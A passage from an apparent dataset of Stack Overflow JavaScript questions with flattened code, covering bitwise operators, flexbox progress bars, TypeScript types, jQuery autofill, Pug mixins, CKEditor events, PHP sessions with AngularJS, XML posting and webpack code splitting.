correct way of doing it.Sample code : Above code returns -2147483648 when hex_lower_word is `` 0x0 '' and hex_upper_word is `` 0x8000 '' instead of 2147483648 function join_bitmap ( hex_lower_word , hex_upper_word ) { var lower_word = parseInt ( hex_lower_word , 16 ) ; var upper_word = parseInt ( hex_upper_word , 16 ) ; return ( 0x00000000ffffffff & ( ( upper_word < < 16 ) | lower_word ) ) ; }",Using bitwise operators in javascript "JS : I am adhering to strict functional programming principles with no mutation.How can I write something like the below code in a way that does n't mutate the greeting variable , and without returning it within each if block ? If it was just two conditions I would do the following , but it wo n't work when there are 3 conditions : const greet = ( name , time ) = > { let greeting = 'Morning ' ; if ( time > = 12 ) { greeting = 'Afternoon ' ; } if ( time > = 17 ) { greeting = 'Evening ' ; } return ` Good $ { greeting } $ { name } ! ` ; } ; const greeting = time > 12 ? 'Afternoon ' : 'Morning '",How do I assign a conditional variable without mutation ? "JS : I 'm trying to create a progress bar with an animation . It works if I do n't have inner text but as soon as I add the inner text the width calculations are different for some reason . I 've tried working with the different width ( ) functions and I 've tried adding up each segment but every time the text throws off the width for some reason.Here 's what I have - JSFiddle /** Progress Bar Animation **/function animate_progress_bar ( ) { if ( ! $ ( '.progressBar ' ) .length ) { return false ; } $ ( '.progressBar ' ) .each ( function ( ) { var num_total = $ ( this ) .find ( '.seg ' ) .length ; var num_fill = $ ( this ) .find ( '.fill ' ) .length ; var percent = 100 - ( ( num_fill / num_total ) * 100 ) ; var speed = 2000 / num_fill ; $ ( this ) .find ( '.progradient ' ) .animate ( { 'width ' : percent + ' % ' } , speed ) ; } ) ; } animate_progress_bar ( ) ; .flex { display : -webkit-flex ; display : flex ; } .flex > * { -ms-flex : 0 1 auto ; } .progressBar { display : -webkit-flex ; display : flex ; border : 1px solid # 000 ; border-radius : 20px ; overflow : hidden ; position : relative ; margin-bottom : 40px ; } .progressBar .seg { -webkit-flex-grow : 1 ; flex-grow : 1 ; min-height : 20px ; border-right : 1px solid # 000 ; z-index : 2 ; } .progressBar .seg : last-of-type { border-right : 0 ; } .progressBar : before { content : `` ; position : absolute ; top : 0 ; left : 0 ; z-index : 1 ; width : 100 % ; height : 100 % ; background : rgb ( 30 , 87 , 153 ) ; background : -moz-linear-gradient ( left , rgba ( 30 , 87 , 153 , 1 ) 0 % , rgba ( 41 , 137 , 216 , 1 ) 27 % , rgba ( 30 , 87 , 153 , 1 ) 74 % , rgba ( 125 , 185 , 232 , 1 ) 100 % ) ; background : -webkit-linear-gradient ( left , rgba ( 30 , 87 , 153 , 1 ) 0 % , rgba ( 41 , 137 , 216 , 1 ) 27 % , rgba ( 30 , 87 , 153 , 1 ) 74 % , rgba ( 125 , 185 , 232 , 1 ) 100 % ) ; background : linear-gradient ( to right , rgba ( 30 , 87 , 153 , 1 ) 0 % , rgba ( 41 , 137 , 216 , 1 ) 27 % , rgba ( 30 , 87 , 153 , 1 ) 74 % , rgba ( 125 , 185 , 232 , 1 ) 100 % ) ; filter : progid : DXImageTransform.Microsoft.gradient ( startColorstr= ' # 1e5799 ' , endColorstr= ' # 7db9e8 ' , GradientType=1 ) ; } .progressBar .progradient { position : absolute ; top : 0 ; right : 0 ; z-index : 1 ; width : 100 % ; height : 100 % ; background-color : # fff ; } .progressBar.large { border-radius : 40px ; } .progressBar.large .seg { min-height : 40px ; } .progressBar.large .text { -webkit-flex-grow : 1 ; flex-grow : 1 ; -webkit-align-self : center ; align-self : center ; font-size : 18px ; text-align : center ; } < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js '' > < /script > < div style= '' max-width : 160px '' > < div class= '' progressBar small '' > < div class= '' seg fill '' > < /div > < div class= '' seg fill '' > < /div > < div class= '' seg '' > < /div > < div class= '' seg '' > < /div > < div class= '' seg '' > < /div > < div class= '' progradient '' > < /div > < /div > < /div > < div class= '' progressBar large '' > < div class= '' seg fill '' > < /div > < div class= '' seg fill '' > < /div > < div class= '' seg fill '' > < /div > < div class= '' seg '' > < /div > < div class= '' seg '' > < /div > < div class= '' progradient '' > < /div > < /div > < div class= '' progressBar large '' > < div class= '' seg fill flex '' > < div class= '' text '' > Test < /div > < /div > < div class= '' seg fill flex '' > < div class= '' text '' > Test < /div > < /div > < div class= '' seg fill flex '' > < div class= '' text '' > Test < /div > < /div > < div class= '' seg '' > < /div > < div class= '' seg '' > < /div > < div class= '' progradient '' > < /div > < /div >",Flexbox Progress Bar Animation - Incorrect Width "JS : I have a possibly weird situation that I 'm trying to model with typescript.I have a bunch of functions with the following formatI would like to be able to create a type that represents InitialFn with the first argument removed . Something likeIs this possible ? type State = { something : any } type InitialFn = ( state : State , ... args : string [ ] ) = > void // this does n't work , as F is unused , and args does n't correspond to the previous argumentstype PostTransformationFn < F extends InitialFn > = ( ... args : string [ ] ) = > void",Typescript remove first argument from a function "JS : I 'm strugglin to make a PHP Form with Dynamic Fields with Auto Fill other fields in JQuery , so far I can add new fields and the autofill works just fine but only for the first field.The autofill drop down only appears on the first input . How can I make all dynamic form input work with the autofill ? For example I have 2 fields . Items_name and Total_stock in dynamic form . I want to if I select Items_name . Autofill for field total_stock.Here is my ajax code : < script language= '' javascript '' > function AddMasterDetail ( ) { var idf = document.getElementById ( `` idf '' ) .value ; stre= '' < div class='form-group ' id='srow '' + idf + `` ' > < div class='controls ' > '' ; stre=stre+ '' < div class='col-xs-2 ' > '' ; stre=stre+ '' < select placeholder='Items Name ' class='form-control input-sm ' name='items_id [ ] ' id='items_id ' onchange='return autofill ( ) ; ' > '' + '' < option value= '' disabled selected > Please Select < /option > '' + '' < ? php foreach ( $ v_items_stock as $ row ) { echo `` < option value= ' $ row- > items_id ' > $ row- > items_name < /option > '' ; } ? > < /select > '' ; stre=stre+ '' < /div > '' ; stre=stre+ '' < div class='col-xs-2 ' > '' ; stre=stre+ '' < input class='form-control input-sm ' id='total_stock ' placeholder='Total Stock ' name='total_stock [ ] ' / > '' ; stre=stre+ '' < /div > '' ; stre=stre+ '' < div class='col-xs-1 ' > < button type='button ' class='btn btn-danger btn-sm ' title='Hapus Rincian ! ' onclick='removeFormField ( \ '' # srow '' + idf + `` \ '' ) ; return false ; ' > < i class='glyphicon glyphicon-remove ' > < /i > < /button > < /div > '' ; $ ( `` # divItems '' ) .append ( stre ) ; idf = ( idf-1 ) + 2 ; document.getElementById ( `` idf '' ) .value = idf ; } function removeFormField ( idf ) { $ ( idf ) .remove ( ) ; } function autofill ( ) { var items_id = document.getElementById ( 'items_id ' ) .value ; $ .ajax ( { url : '' < ? php echo base_url ( ) ; ? > transaction_sending/cari '' , data : ' & items_id='+items_id , success : function ( data ) { var hasil = JSON.parse ( data ) ; $ .each ( hasil , function ( key , val ) { document.getElementById ( 'items_id ' ) .value=val.items_id ; document.getElementById ( 'total_stock ' ) .value=val.total_stock ; } ) ; } } ) ; } < /script >",dynamic ajax form select box autofill "JS : I 'm trying to use JQuery from inside an iframe to .prependTo a .class div inside the Parent.This has multiples of the same .class . **EDIT And iframesEverything is on the same domain.So , from inside the Main document : Script inside the iframe : I 've been running around in circles and googleing for hours now . I ca n't figure this out.What am I doing wrong here ? EDITI used , works great ! < div class= '' NewPHOTOS '' > ** < ! -- PUT ME HERE ! -- > ** < div class= '' LinePhoto '' > < a href= '' images/518279f07efd5.gif '' target= '' _blank '' > < img src= '' images/thumb_518279f07efd5.gif '' width= '' 50 '' height= '' 50 '' > < /a > < /div > < iframe class= '' uploadLineID_55 '' width= '' 800px '' height= '' 25px '' src= '' ../../uploads/uploadiframe.php '' scrolling= '' no '' seamless > < /iframe > < /div > $ ( document ) .on ( `` click '' , ' # TEST ' , function ( ) { appendImagetoParent ( ) ; } ) ; function appendImagetoParent ( ) { var data = ' < div class= '' LinePhoto '' > < a href= '' images/TEST.gif '' target= '' _blank '' > < img src= '' images/thumb_TEST.gif '' width= '' 50 '' height= '' 50 '' > < /a > < /div > ' ; $ ( `` .NewPHOTOS '' , window.parent.document ) .each ( function ( ) { $ ( data ) .prependTo ( $ ( `` .NewPHOTOS '' ) ) ; } ) ; /* $ ( data ) .prependTo ( $ ( `` .NewPHOTOS '' , window.parent.document ) ) ; This prepends to Every .NewPHOTOS */ } $ ( parent.document ) .find ( ' . ' + frameElement.className ) .closest ( '.NewPHOTOS ' ) .prepend ( data ) ;",prependTo closest specified Parent div from an iframe "JS : I 'm working through some problems from my textbook in my class to prepare for our next exam , and ca n't figure out how the above evaluates . Mostly , I do n't understand the call z=g ( f ) , as when f is evaluated , it is n't provided an argument , so how does it evaluate at all ? How does it know what y is ? Also , as far as scoping goes , I believe javascript treats most everything as global variables , so the last x that is set would be the x value used in function f , correct ? Thanks for any help ! Please note , these are extra problems in the back of the book I 'm practicing to prepare for the exam , these are not direct homework questions . var x = 5 ; function f ( y ) { return ( x+y ) -2 } ; function g ( h ) { var x = 7 ; return h ( x ) } ; { var x=10 ; z=g ( f ) } ;",Javascript Evaluation Questions "JS : I have a file includes/mixins.pug that has some mixins . I also have a main layout file layouts/default.pug that I am extend-ing . How can I include those mixins in my layout file so that I do n't have to write include includes/mixins on every page ? For example , this is what I have to do for each additional pug file . In this case : new_page.puglayouts/default.pugHow do I include the mixins in layouts/default.pug ? I had trouble finding a solution in the documentation . extends layouts/defaultinclude includes/mixinsblock content +my_mixin ( 'Hello World ' ) doctype htmlhtml ( lang= $ localeName ) block vars head meta ( charset= '' UTF-8 '' ) meta ( http-equiv= '' X-UA-Compatible '' content= '' IE=edge '' ) meta ( name= '' viewport '' content= '' width=device-width , initial-scale=1.0 '' ) block styles link ( rel= '' stylesheet '' type= '' text/css '' href= '' /assets/css/styles.min.css '' ) body block content",Pug : how do I include mixins across all pages ? "JS : I am trying to process an insert event from the CKEditor 5.When typing in the editor the call back is called . The data argument in the event callback looks like approximately like this : I do n't see a convenient way to figure out what text was actually inserted . I can call data.range.root.getNodeByPath ( data.range.start.path ) ; which seems to get me the text node that the text was inserted in . Should we then look at the text node 's data field ? Should we assume that the last item in the path is always an offset for the start and end of the range and use that to substring ? I think the insert event is also fired for inserting non-text type things ( e.g . element ) . How would we know that this is indeed a text type of an event ? Is there something I am missing , or is there just a different way to do this all together ? editor.document.on ( `` change '' , ( eventInfo , type , data ) = > { switch ( type ) { case `` insert '' : console.log ( type , data ) ; break ; } } ) ; { range : { start : { root : { ... } , path : [ 0 , 14 ] } , end : { root : { ... } , path : [ 0 , 15 ] } } }",How to get the text from an Insert event in CKEditor 5 ? "JS : I have an AngularJS application that I am updating to use PHP 7 . Currently I have a custom session handler setup for sessions : Custom Session Handler ( session.php ) In my app.js I have a continuous check to see if the user is authenticated and can access the application . App.jsIn the code above , isAuthenticated runs isUserAuthorized.php isAuthenticatedisUserAuthorized.phpThe session should be started when session.php is required . It appears that this is not happening though . Upon accessing the application , the login page is displayed , but isUserAuthorized.php is throwing a warning : Warning : session_start ( ) : Failed to read session data : user ( path : /var/lib/php/mod_php/session ) in session.php When I select the Login button , login.php is called , but the user gets brought right into the application , despite incorrect credentials . login.phpI 'm not entirely sure what 's causing this odd behavior , and why the session is n't being created . Do I need to explicitly call the sess_write function ? UpdateI discovered that removing the require_once 'session.php ' from login.php causes the proper behavior . The user is able to login when they provide valid credentials . However , the session data is still never being written to the database . Any idea why ? function sess_open ( $ path , $ name ) { return true ; } function sess_close ( ) { $ sessionId = session_id ( ) ; return true ; } function sess_read ( $ id ) { $ db = dbConn : :getConnection ( ) ; $ stmt = `` SELECT session_data FROM session where session_id = '' . $ db- > quote ( $ id ) ; $ result = $ db- > query ( $ stmt ) ; $ data = $ result- > fetchColumn ( ) ; $ result- > closeCursor ( ) ; return $ data ; } function sess_write ( $ id , $ data ) { $ db = dbConn : :getConnection ( ) ; $ tstData = sess_read ( $ id ) ; if ( ! is_null ( $ tstData ) ) { // if it does then do an update $ stmt = `` UPDATE session SET session_data = '' . $ db- > quote ( $ data ) . `` WHERE session_id= '' . $ db- > quote ( $ id ) ; $ db- > query ( $ stmt ) ; } else { // else do an insert $ stmt = `` INSERT INTO session ( session_id , session_data ) SELECT `` . $ db- > quote ( $ id ) . `` , `` . $ db- > quote ( $ data ) . `` WHERE NOT EXISTS ( SELECT 1 FROM session WHERE session_id= '' . $ db- > quote ( $ id ) . `` ) '' ; $ db- > query ( $ stmt ) ; } return true ; } function sess_destroy ( $ id ) { $ db = dbConn : :getConnection ( ) ; $ stmt = `` DELETE FROM session WHERE session_id = '' . $ db- > quote ( $ id ) ; setcookie ( session_name ( ) , `` '' , time ( ) - 3600 ) ; return $ db- > query ( $ stmt ) ; } function sess_gc ( $ lifetime ) { $ db = dbConn : :getConnection ( ) ; $ stmt = `` DELETE FROM session WHERE timestamp < NOW ( ) - INTERVAL ' '' . $ lifetime . `` second ' '' ; return $ db- > query ( $ stmt ) ; } session_name ( 'PROJECT_CUPSAW_WEB_APP ' ) ; session_set_save_handler ( `` sess_open '' , `` sess_close '' , `` sess_read '' , `` sess_write '' , `` sess_destroy '' , `` sess_gc '' ) ; session_start ( ) ; ob_flush ( ) ; /* * Continuous check for authenticated permission to access application and route */app.run ( function ( $ rootScope , $ state , authenticationService , ngToast ) { $ rootScope. $ on ( `` $ stateChangeStart '' , function ( event , toState , toParams , fromState , fromParams ) { authenticationService.isAuthenticated ( ) .success ( function ( ) { if ( toState.permissions ) { ngToast.dismiss ( ) ; event.preventDefault ( ) ; $ state.go ( `` logout '' ) ; // NEEDS TO CHANGE - Unauthorized access view return ; } } ) .error ( function ( ) { ngToast.dismiss ( ) ; event.preventDefault ( ) ; localStorage.clear ( ) ; $ state.go ( `` authentication '' ) ; // User is not authenticated ; return to login view return ; } ) ; ngToast.dismiss ( ) ; } ) ; } ) ; /* * Check if user is authenticated ; set role/permissions */this.isAuthenticated = function ( ) { return $ http.post ( baseUrl + '/isUserAuthorized.php ' ) ; } ; < ? phprequire_once 'session.php ' ; // Check to ensure user is authenticated to initiate requestif ( array_key_exists ( 'authenticated ' , $ _SESSION ) & & $ _SESSION [ 'authenticated ' ] ) { return http_response_code ( 200 ) ; } else { // Clear out all cookies and destroy session if ( array_key_exists ( 'HTTP_COOKIE ' , $ _SERVER ) ) { $ cookies = explode ( ' ; ' , $ _SERVER [ 'HTTP_COOKIE ' ] ) ; foreach ( $ cookies as $ cookie ) { $ parts = explode ( '= ' , $ cookie ) ; $ name = trim ( $ parts [ 0 ] ) ; setcookie ( $ name , `` , time ( ) -1000 ) ; setcookie ( $ name , `` , time ( ) -1000 , '/ ' ) ; } } session_destroy ( ) ; return http_response_code ( 401 ) ; } < ? phprequire_once '../database.php ' ; require_once 'session.php ' ; require_once 'ldap.php ' ; $ _SESSION [ 'authenticated ' ] = false ; // $ conn = connect_db ( ) ; try { $ data = json_decode ( file_get_contents ( 'php : //input ' ) ) ; $ username = strtolower ( $ data- > username ) ; $ password = $ data- > password ; // Check domain credentials ; return user token if verified if ( ldap_authenticate ( $ username , $ password ) ) { $ _SESSION [ 'authenticated ' ] = true ; } else { echo ( 'Invalid username and/or password ! ' ) ; return http_response_code ( 400 ) ; } } catch ( PDOException $ e ) { return http_response_code ( 400 ) ; }",Sessions in AngularJS and PHP application "JS : What are the differences in creating objects in javascript betweenAndI have used both in different situations but never understood the difference , I know that the latter approach has the over head of creating the functions for ever instance but still see it used in a lot of situations , can anyone clarafy this for me ? I was unable to find anything about this by searching test = function ( a , b ) { this.calculate = function ( ) { return a + b ; } } obj = new test ( 1 , 2 ) ; console.log ( obj.calculate ( ) ) ; test = function ( a , b ) { return { calculate : function ( ) { return a + b ; } } } obj = test ( 1 , 2 ) ; console.log ( obj.calculate ( ) ) ;",Javascript object instance vs returned functions "JS : I 'm trying to post XML to a web service using jQuery . I 'm getting a response back that I did n't expect : '' Name Can not begin with the ' % ' character , hexadecimal value 0x25 . Line 1 , position 65 . `` CodeUPDATE - Posted DataAs you can see the data is url encoded . I assume that 's where the issue is , but I do n't know how to fix it . Any guidance would be helpful . Thanks ! $ ( function ( ) { var xmlStr = ' < ? xml version= '' 1.0 '' encoding= '' utf-8 '' ? > < TransactionSetup xmlns= '' obsfucated '' > < Credentials > < AccountID > 1043155 < /AccountID > < AccountToken > obsfucated < /AccountToken > < AcceptorID > obsfucated < /AcceptorID > < /Credentials > < Application > < ApplicationID > obsfucated < /ApplicationID > < ApplicationVersion > 1.0 < /ApplicationVersion > < ApplicationName > Test < /ApplicationName > < /Application > < Terminal > < TerminalID > 01 < /TerminalID > < CardholderPresentCode > 2 < /CardholderPresentCode > < CardInputCode > 5 < /CardInputCode > < TerminalCapabilityCode > 3 < /TerminalCapabilityCode > < TerminalEnvironmentCode > 2 < /TerminalEnvironmentCode > < CardPresentCode > 2 < /CardPresentCode > < MotoECICode > 1 < /MotoECICode > < CVVPresenceCode > 1 < /CVVPresenceCode > < /Terminal > < Transaction > < TransactionAmount > SPI_CartTotalFinal < /TransactionAmount > < /Transaction > < TransactionSetup > < TransactionSetupMethod > 1 < /TransactionSetupMethod > < Embedded > 1 < /Embedded > < AutoReturn > 1 < /AutoReturn > < ReturnURL > Obsfucated < /ReturnURL > < CustomCss > body { margin-left:50px ; font-family : arial ; font-size : large ; border : none ; } < /CustomCss > < /TransactionSetup > < /TransactionSetup > ' , guid ; $ .ajax ( { type : 'POST ' , url : 'webserviceurl ' , contentType : `` text/xml '' , dataType : `` xml '' , data : { Action : $ ( ' # Action ' ) .val ( ) , IsAjax : $ ( ' # IsAjax ' ) .val ( ) , xml : xmlStr , } , success : function ( response ) { guid = response ; console.log ( 'success ' + guid ) ; } , error : function ( jqXHR , tranStatus , errorThrown ) { console.log ( 'Status : ' + jqXHR.status + ' ' + jqXHR.statusText + ' . ' + 'Response : ' + jqXHR.responseText ) ; } } ) ; < TransactionSetup xmlns= '' https : //www.obsfucated.com '' % 3E % 20 % 3CCredentials % 3E % 20 % 3CAccountID % 3E1223135 % 3C/AccountID % 3E % 20 % 3CAccountToken % 3EA9A22221CBE222ED0E287D6F34B0222E0F928E4DDF6C37B945CE05F78054DF95966FC201 % 3C/AccountToken % 3E % 20 % 3CAcceptorID % 322228907 % 3C/AcceptorID % 3E % 20 % 3C/Credentials % 3E % 20 % 3CApplication % 3E % 20 % 3CApplicationID % 3E8003 % 3C/ApplicationID % 3E % 20 % 3CApplicationVersion % 3E1.0 % 3C/ApplicationVersion % 3E % 20 % 3CApplicationName % 3EHostedPayments.CSharp % 3C/ApplicationName % 3E % 20 % 3C/Application % 3E % 20 % 3CTerminal % 3E % 20 % 3CTerminalID % 3E01 % 3C/TerminalID % 3E % 20 % 3CCardholderPresentCode % 3E2 % 3C/CardholderPresentCode % 3E % 20 % 3CCardInputCode % 3E5 % 3C/CardInputCode % 3E % 20 % 3CTerminalCapabilityCode % 3E3 % 3C/TerminalCapabilityCode % 3E % 20 % 3CTerminalEnvironmentCode % 3E2 % 3C/TerminalEnvironmentCode % 3E % 20 % 3CCardPresentCode % 3E2 % 3C/CardPresentCode % 3E % 20 % 3CMotoECICode % 3E1 % 3C/MotoECICode % 3E % 20 % 3CCVVPresenceCode % 3E1 % 3C/CVVPresenceCode % 3E % 20 % 3C/Terminal % 3E % 20 % 3CTransaction % 3E % 20 % 3CTransactionAmount % 3E0.20 % 3C/TransactionAmount % 3E % 20 % 3C/Transaction % 3E % 20 % 3CTransactionSetup % 3E % 20 % 3CTransactionSetupMethod % 3E1 % 3C/TransactionSetupMethod % 3E % 20 % 3CEmbedded % 3E1 % 3C/Embedded % 3E % 20 % 3CAutoReturn % 3E1 % 3C/AutoReturn % 3E % 20 % 3CReturnURL % 3Ehttp : //shop.masterssupply.net/webcattest/WebCatPageServer.exe % 3C/ReturnURL % 3E % 20 % 3CCustomCss % 3E % 20.tdHeader % 20 { % 20 % 20 % 20 % 20 % 20background-color : % 20 % 23F8F8F8 ; % 20 % 20 % 20 % 20 % 20padding : % 205px ; % 20 % 20 % 20 % 20 % 20font-weight : % 20bold ; % 20 } % 20.tdLabel % 20 { % 20 % 20 % 20 % 20 % 20font-weight : % 20bold ; % 20 % 20 % 20 % 20 % 20text-align : % 20right ; % 20 % 20 % 20 % 20 % 20padding-right : % 2010px ; % 20 % 20 % 20 % 20 % 20padding-left : % 2010px ; % 20 % 20 % 20 % 20 % 20padding-top : % 2010px ; % 20 % 20 % 20 % 20 % 20padding-bottom : % 2010px ; % 20 } % 20.tdField % 20 { % 20 % 20 % 20 % 20 % 20padding-right : % 2010px ; % 20 % 20 % 20 % 20 % 20padding-left : % 2010px ; % 20 % 20 % 20 % 20 % 20padding-top : % 2010px ; % 20 % 20 % 20 % 20 % 20padding-bottom : % 2010px ; % 20 } % 20.content % 20 { % 20 % 20 % 20 % 20 % 20padding-left : % 2010px ; % 20 % 20 % 20 % 20 % 20padding-top : % 205px ; % 20 % 20 % 20 % 20 % 20padding-bottom : % 205px ; % 20 % 20 % 20 % 20 % 20border-left-style : % 20none ; % 20 % 20 % 20 % 20 % 20border-left-width : % 20none ; % 20 % 20 % 20 % 20 % 20border-left-color : % 20none ; % 20 % 20 % 20 % 20 % 20border-right-style : % 20none ; % 20 % 20 % 20 % 20 % 20border-right-width : % 20none ; % 20 % 20 % 20 % 20 % 20border-right-color : % 20none ; % 20 } % 20.tdTransactionButtons % 20 { % 20 % 20 % 20 % 20 % 20text-align : % 20left ; % 20 % 20 % 20 % 20 % 20padding-top : % 205px ; % 20 % 20 % 20 % 20 % 20height : % 2035px ; % 20 % 20 % 20 % 20 % 20border-top-style : % 20none ; % 20 % 20 % 20 % 20 % 20border-top-width : % 20none ; % 20 % 20 % 20 % 20 % 20border-top-color : % 20none ; % 20 % 20 % 20 % 20 % 20vertical-align : % 20middle ; % 20 } % 20body % 20 { % 20 % 20 % 20 % 20 % 20margin-left : % 20none ; % 20 % 20 % 20 % 20 % 20font-family : % 20arial ; % 20 % 20 % 20 % 20 % 20font-size : % 2012px ; % 20 % 20 % 20 % 20 % 20border : % 20none ; % 20 } % 20.buttonEmbedded : link % 20 { % 20 % 20 % 20 % 20 % 20font-size : % 2013px ; % 20 % 20 % 20 % 20 % 20font-weight : % 20bold ; % 20 % 20 % 20 % 20 % 20padding-right : % 2010px ; % 20 % 20 % 20 % 20 % 20padding-left : % 2010px ; % 20 % 20 % 20 % 20 % 20padding-top : % 204px ; % 20 % 20 % 20 % 20 % 20padding-bottom : % 204px ; % 20 % 20 % 20 % 20 % 20border : % 204px % 20solid % 20 % 23ce701a ; % 20 % 20 % 20 % 20 % 20color : % 20 % 23ffffff ; % 20 % 20 % 20 % 20 % 20background-color : % 20 % 23ce701a ; % 20 % 20 % 20 % 20 % 20text-decoration : % 20none ; % 20 % 20 % 20 % 20 % 20border-top-style : % 20solid ; % 20 % 20 % 20 % 20 % 20border-top-width : % 201px ; % 20 % 20 % 20 % 20 % 20border-top-color : % 20 % 23ce701a ; % 20 % 20 % 20 % 20 % 20border-right-color : % 20 % 23ce701a ; % 20 % 20 % 20 % 20 % 20border-left-color : % 20 % 23ce701a ; % 20 % 20 % 20 % 20 % 20border-bottom-color : % 20 % 23ce701a ; % 20 } % 20.buttonCancel { % 20 % 20 % 20 % 20 % 20border : % 201px % 20solid % 20 % 23444 ; % 20 % 20 % 20 % 20 % 20font-weight : % 20bold ; % 20 % 20 % 20 % 20 % 20color : % 20 % 23fff ; % 20 % 20 % 20 % 20 % 20border : % 201px % 20solid % 20 % 23444 ; % 20 % 20 % 20 % 20 % 20background-color : % 20 % 237c7c7c ; % 20 % 20 % 20 % 20 % 20box-shadow : % 20none ; % 20 % 20 % 20 % 20 % 20border-radius : % 200px ; % 20 % 20 % 20 % 20 % 20padding : % 206px % 2012px ; % 20 % 20 % 20 % 20 % 20font-size : % 2014px ; % 20 % 20 % 20 % 20 % 20line-height : % 204.428571 ; % 20 % 20 % 20 % 20 % 20text-decoration : % 20none ; % 20 % 20 % 20 % 20 % 20padding-right : % 2010px ; % 20 % 20 % 20 % 20 % 20padding-left : % 2010px ; % 20 % 20 % 20 % 20 % 20padding-top : % 204px ; % 20 % 20 % 20 % 20 % 20padding-bottom : % 204px ; % 20 % 20 % 20 % 20 % 20border-top-style : % 20solid ; % 20 % 20 % 20 % 20 % 20border-top-width : % 201px ; % 20 % 20 % 20 % 20 % 20border-top-color : % 20 % 23838383 ; % 20 % 20 % 20 % 20 % 20border-right-color : % 20 % 23838383 ; % 20 % 20 % 20 % 20 % 20border-left-color : % 20 % 23838383 ; % 20 % 20 % 20 % 20 % 20border-bottom-color : % 20 % 23838383 ; % 20 } % 20.buttonCancel : link % 20 { % 20 % 20 % 20 % 20 % 20color : % 20 % 23fff ; % 20 } % 20.buttonCancel : visited % 20 { % 20 % 20 % 20 % 20 % 20color : % 20 % 23fff ; % 20 } % 20 % 3C/CustomCss % 3E % 20 % 3C/TransactionSetup % 3E % 20 % 3C/TransactionSetup % 3E % 20",XML Name Can not Begin with the ' % ' character "JS : I have a CSS stylesheet that 's dynamically created on the server , and returned via a < link > tag . Is it possible to return any metadata with this stylesheet , that I could read with JavaScript ? ( The use case : the stylesheet I return is a combination of several smaller ones . I want my JavaScript code to be able to detect which smaller ones were included . ) I considered adding some custom properties to an element : But when I try to read these with : they 're not returned . Any other ideaas ? EDIT : I ended up taking a slightly different approach . Instead of adding a < link > tag , I made an AJAX request to get the stylesheet , and added its text to a < style > tag . This way I could use the HTTP response headers to include metadata . Of course , this wo n't work across domains , like a < link > tag does . body { -my-custom-prop1:0 ; -my-custom-prop2:0 ; } window.getComputedStyle ( document.body ) [ '-my-custom-prop1 ' ]",Returning metadata with CSS "JS : I 'm using webpack 4.43.0.How do I prevent codesplitting from happening in webpack ? All these files are created - 0.bundle.js up to 11.bundle.js ( alongside the expected bundle.js ) , when I run webpack . Here 's my webpack config : /* eslint-env node */const path = require ( 'path ' ) ; module.exports = { entry : './media/js/src/main.jsx ' , mode : process.env.WEBPACK_SERVE ? 'development ' : 'production ' , output : { path : path.resolve ( __dirname , 'media/js ' ) , filename : 'bundle.js ' } , resolve : { extensions : [ '* ' , '.js ' , '.jsx ' ] } , module : { rules : [ { test : /\ . ( js|jsx ) $ / , include : path.resolve ( __dirname , 'media/js/src ' ) , exclude : /node_modules/ , use : { loader : 'babel-loader ' , options : { presets : [ ' @ babel/preset-env ' , ' @ babel/preset-react ' ] } } } ] } } ;",How do I disable webpack 4 code splitting ? "JS : ! ! always works fine for converting String , undefined , Object and Number types to Boolean type in JavaScript : It seems using ! ! is totally safe . I 've seen people using this for converting variables.But I 'm not sure about ++ or -- for converting String types to Number types . In these examples it looks using ++ for converting is safe : Is there any case that ++/ -- do n't work as parseFloat ? ! ! 0 // false ! ! 1 // true ! ! 10 // true ! ! '' '' // true ! ! `` any '' // true ! ! undefined // false ! ! null // false ! ! NaN // false ! ! { } // true var ten = `` 10 '' ; ten++ // 10var nineHalf = `` 9.5 '' ; nineHalf++ // 9.5var n = `` -10.06 '' ; n++ // -10.06",Can I always use ++ or -- as a shorthand for parseFloat ? "JS : In short , this works : But this does n't : Pure puzzlement.This is in Firefox 3.5.9 , which I presume is using the mozilla standard implementation of reduce , FWIW . [ 1 , 2 , 3 ] .reduce ( function ( a , b ) { return Math.max ( a , b ) ; } ) ; = > 3 [ 1 , 2 , 3 ] .reduce ( Math.max ) ; = > NaN","How to use Math.max , etc . as higher-order functions" "JS : I am using sublime text 3 autocompletion for JavaScript.For if-statement , it added a semicolon at the end.Using JSHint , it gives me an error for most of my code written.I would like to ask how to customise this autocompletion as my preference ? if ( true ) { } ;",Unnecessary semicolon using Sublime Text 3 autocomplete for JavaScript if-statement "JS : I am working on the demo code below . How can I use jQuery in these ways ? :1- Wrap the p only if it has not already wrapped with .check-wrap-sapnand2- Unwrap only .check-wrap-sapn and not any other parent ? What is happening now jQuery wraps the p element with .check-wrap-sapn as long as users clicks on # wrap and removes all parents of p even if there is not any wrapper called .check-wrap-sapn $ ( `` # wrap '' ) .on ( `` click '' , function ( ) { $ ( `` p '' ) .wrap ( `` < div class='check-wrap-sapn ' > < /div > '' ) ; } ) ; $ ( `` # unwrap '' ) .on ( `` click '' , function ( ) { $ ( `` p '' ) .unwrap ( `` < div class='check-wrap-sapn ' > < /div > '' ) ; } ) ; < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/2.1.0/jquery.min.js '' > < /script > < div class= '' container '' > < div class= '' well '' > < p > This is for Wrapping < /p > < /div > < /div > < button class= '' btn btn-default '' id= '' wrap '' > Wrap < /button > < button class= '' btn btn-default '' id= '' unwrap '' > Un Wrap < /button >",Controlling wrap and unwrap methods in jQuery "JS : I have a really long page inside a window ( need to scroll to view all ) , when I try to capture the entire window using the code below , I get a squeezed image instead of full WebContent screenshot inside the CurrentWindow.https : //github.com/electron/electron/blob/master/docs/api/browser-window.md # wincapturepagerect-callbackI have also tried the following code but the result is the same , The first object passed in into capturePage method should be the bound but turns out to be the size of the output image.I have inspected the win_size which is the correct size of the WebContent in the CurrentWindow . const remote = require ( 'electron ' ) .remote ; const win = remote.getCurrentWindow ( ) ; const win_size = win.getSize ( ) ; const win_height = win_size [ 0 ] ; const win_width = win_size [ 1 ] ; win.capturePage ( { x : 0 , y : 0 , width : win_width , height : win_height } , ( img ) = > { remote.require ( 'fs ' ) .writeFile ( TEMP_URL , img.toPng ( ) ) ; } ) ; const remote = require ( 'electron ' ) .remote ; const webContents = remote.getCurrentWebContents ( ) ; webContents.capturePage ( { x : 0 , y : 0 , width : 1000 , height : 2000 } , ( img ) = > { remote.require ( 'fs ' ) .writeFile ( TEMP_URL , img.toPng ( ) ) ; } ) ;",How to capture entire WebContent inside CurrentWindow "JS : The Story : We have a rather huge end-to-end protractor test codebase . We have two configs - one is `` local '' - to run the tests in Chrome and Firefox using directConnect , and the other one is `` remote '' - to run tests on a remote selenium server - BrowserStack in our case.Our `` local '' config is configured to run some tests 